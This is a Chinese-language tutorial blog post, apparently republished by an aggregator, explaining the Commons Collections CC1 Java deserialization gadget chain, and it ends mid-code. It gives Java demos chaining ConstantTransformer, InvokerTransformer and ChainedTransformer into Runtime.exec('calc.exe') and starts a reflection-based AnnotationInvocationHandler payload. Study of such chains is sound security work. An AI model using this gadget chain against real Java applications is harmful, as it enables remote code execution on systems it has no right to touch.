CC1-上
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC1-上相关的知识,希望对你有一定的参考价值。
1.前言
URLDNS
还是不放了吧,不够丢人的,
推荐feng师傅的:https://ego00.blog.csdn.net/article/details/119701408
先是利用 TransformedMap这个。最终的触发点,就是 那一串Invokertransform
那里,就那一坨东西导致最终的危险。 然后手写demo是通过 map.put() 导致执行Transformed#tranform()
,从而触发的。
那么在序列化实战中,我们就要找一个类,在它的反序列化readObject()
中,能够触发执行Transformed#tranform()
,这里使用的是AnnotationInvocationHandler 的 readObject()
。它里面用了 map.enrty()
的·setValue()
, 这个也能够触发transform()
。可以看3.4.0
构造器的 default 知识
2. 前置知识
2.1 入门demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class test1
public static void main(String[] args)throws Exception
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc.exe")
;
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","xxx");
2.2 TransformedMap
The Map put methods and Map.Entry method are affected by this class
巨重要,拿出来,详情可见 3.4.0
看一下源码,,
/**
* Decorates another <code>Map</code> to transform objects that are added.
* <p>
* The Map put methods and Map.Entry method are affected by this class.
* Thus objects must be removed or searched for using their transformed form.
* For example, if the transformation converts Strings to Integers, you must
* use the Integer form to remove objects.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
*
* @author Stephen Colebourne
*/
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable
作用: 用于装饰一个Map对象,转换它添加的源码
看他的decorate方法
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
return new TransformedMap(map, keyTransformer, valueTransformer);
//-----------------------------------------------------------------------
/**
* Constructor that wraps (not copies).
* <p>
* If there are any elements already in the collection being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer)
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
静态方法 decorate()
,里面调用了类的 protected
构造器。根据注释就可以理解,decorate()
方法的第一个参数就是要修饰的Map
对象,第二个和第三个参数都是实现了Transformer
接口的类的对象,分别用来转换Map
的键和值。为null
的话就意味着没有转换。传出的Map
是被修饰后的Map
。
2.2.1 触发 put 的位置
根据类注释: Map 类的 put 和 Enrty 的 getKey,getValue方法都能够触发 transform() 方法
The Map put methods and Map.Entry method are affected by this class
可以知道,使用 put
还有 setValue
方法的时候,对应的键或者值会作为 input
参数,调用相应的Transformer
的transform()
方法,该方法返回一个新的对象。(注意这个setValue
方法,下文有用)
这个是 P 神解释的。
这里看一个简单的例子:
package aa;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.hibernate.type.descriptor.java.UUIDTypeDescriptor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test03
public static void main(String[] args) throws Exception
test1();
private static void test1()
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new ValueTransformer());
outerMap.put("key","value");
printMap(outerMap);
private static void printMap(Map map)
for(Object entry:map.entrySet())
System.out.println(1);
class KeyTransformer implements Transformer
@Override
public Object transform(Object o)
System.out.println("调用了 transform :KeyTransformer");
return "key";
class ValueTransformer implements Transformer
@Override
public Object transform(Object o)
System.out.println("调用了 transform :ValueTransformer");
return "value";
分析一下:
先看构造函数了。 这里后面讲到的 两个属性,其实都是我们进行赋值了的,就是我们自己重写的两个类了
是这个 outerMap.put("key","value");
方法调用的,put 的时候,
直接进入put()
public Object put(Object key, Object value)
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
然后对 key
进行transformKey()
方法的调用,(value 同理,不分析了)看一下这个方法,
然后看一下这个 keyTransformer
变量 ,我们在刚开始的构造函数中已经赋值了
这里 keyTransformer
不是 null , 然后就调用了 Transformer
的 transform()
接口 了,
public interface Transformer
public Object transform(Object input);
这里因为我们在 构造函数中已经赋值了。所以就直接走我们自己写的这个接口的实现类,从而调用了这个类的 transform() ,从而打印出来结果
class KeyTransformer implements Transformer
@Override
public Object transform(Object o)
System.out.println("调用了 transform :KeyTransformer");
return "key";
class ValueTransformer implements Transformer
@Override
public Object transform(Object o)
System.out.println("调用了 transform :ValueTransformer");
return "value";
小结:
当我们 decorate()
之后,put 的时候,就会对我们 decorate()
的第二个,第三个参数对象执行他们的 transform()
方法
2.3 ConstantTransformer
我的理解,就是看名字和注释嘛,常量的Transformer,就是transform() 的东西都是一个常量
/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
*
* @since Commons Collections 3.0
* @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class ConstantTransformer implements Transformer, Serializable
翻译: 没有检查这个对象是不可变的,通常来说,唯一不可变的对象才应该使用常量工厂,可变的对象应该使用原型工厂(翻译了个shi)
具体的·ConstantTransformer
的 transform()
:对于 input, 总是返回一个 常量
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input)
return iConstant;
看一个测试代码:
public class test03
public static void main(String[] args) throws Exception
test2();
private static void test2()
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), ConstantTransformer.getInstance("adam"));
outerMap.put("key","value");
这个也是可以的 new ContantTransformer ("adam")
一样的效果的,
小结:
下面可以看到常量 iConstant
就是传入的adam,然后ConstantTransformer
的transform()
方法就不返回参数了,返回自己的常量。
P神的解释是真言简意赅
2.4 InvokerTransformer
首先一看名字就感觉是和反射有关的,然后看源码
/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
*
* @author Stephen Colebourne
*/
public class InvokerTransformer implements Transformer, Serializable
翻译: 通过反射创建新对象实例的转换器实现
看一下 构造函数 和 反射执行函数
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input)
if (input == null)
return null;
try
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
catch (NoSuchMethodException ex)
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
catch (IllegalAccessException ex)
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
catch (InvocationTargetException ex)
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
小结;
我们 实例化的时候 new 对象()
或者 类.newInstance()
的时候传入三个参数
第一个是方法名 String
第二个是该方法的所有传入参数的类型 , Class[]
第三个方法是要传入的参数的列表。 Object[]
public static void main(String[] args) throws Exception
test2();
private static void test2()
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new InvokerTransformer(
"exec",new Class[] String.class,new Object[]"calc.exe"));
outerMap.put("key",Runtime.getRuntime());
注意,这个的.put()
的第二个参数是要传入我们要使用的方法的。
2.5 ChainedTransformer
还是先看名字,链接起来的东西,看 类注释和构造函数和transformer()
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class ChainedTransformer implements Transformer, Serializable
翻译:将指定转换器连接到一起的 一个转换器实现,输入的对象传递给第一个转换器,这个转换器的结果传递给第二个转换器,以此类推
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers)
super();
iTransformers = transformers;
把一个 Transformer[]
当作参数传递进去,利用这个数组的transformer()
一次处理 input
,并且,注意:
The input object is passed to the first transformer. The transformed result is passed to the second transformer and so on.
小结:
是一种链式的传递,前一个Transformer
处理的得到的output
会当作input
给下一个Transformer
处理。
理清了这些,很容易想到一个把这些串起来的命令执行:
public static void main(String[] args) throws Exception
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc.exe")
;
Map innerMap = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("adam","adam");
3. TransformedMap 分析
package aa;
import clojure.lang.Obj;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test02
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException
Transformer[] transformers = new Transformer[]
// new ConstantTransformer(Runtime.getRuntime()),
new ConstantTransformer(Class.forName("java.lang.Runtime")),
// new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc.exe"
new InvokerTransformer("getMethod",
new Class[]String.class,以上是关于CC1-上的主要内容,如果未能解决你的问题,请参考以下文章